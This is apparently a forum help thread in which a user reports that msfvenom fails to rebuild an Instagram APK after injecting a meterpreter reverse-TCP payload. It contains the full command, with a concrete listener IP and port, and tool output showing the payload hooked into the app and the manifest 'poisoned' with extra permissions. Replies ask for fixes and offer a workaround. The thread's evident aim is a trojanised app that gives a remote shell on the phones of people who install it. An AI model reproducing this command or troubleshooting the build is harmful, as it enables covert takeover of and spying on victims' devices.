Error: Unable to rebuild apk with apktool

[steve01101]

hi, I do not know if I'm in the right section, I hope so, I have a problem when i recompile the apk, I have not installed this program, but I use msfvenom normal, when I recompile the apk, it tells me: "Error: Unable to rebuild apk with apktool". I hope you can help me as we are talking about msfvenom. I installed the latest version of apktool, but it shows me version 2.2.2

msfvenom -x instagram.apk -p android/meterpreter/reverse_tcp LHOST=18.216.53.253 LPORT=15981 -o instagram1.apk
Using APK template: instagram.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
[] Creating signing key and keystore..
[] Decompiling original APK..
[] Decompiling payload APK..
[] Locating hook point..
[] Adding payload as package com.instagram.android.vehdh
[] Loading /tmp/d20180726-8494-1rzbkw3/original/smali/com/instagram/app/InstagramAppShell.smali and injecting payload..
[] Poisoning the manifest with meterpreter permissions..
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[*] Rebuilding instagram.apk with meterpreter injection as /tmp/d20180726-8494-1rzbkw3/output.apk
Error: Unable to rebuild apk with apktool

[jonasyumi]

did u find solution 😭

[Marshall010]

i need a solution too :(

[sankethj]

You can't build using apktool because it hasn't decompiled by apktool. So use Android studio to build.

[acksyndude]

can i know how you copies this files with msfvenom payload files?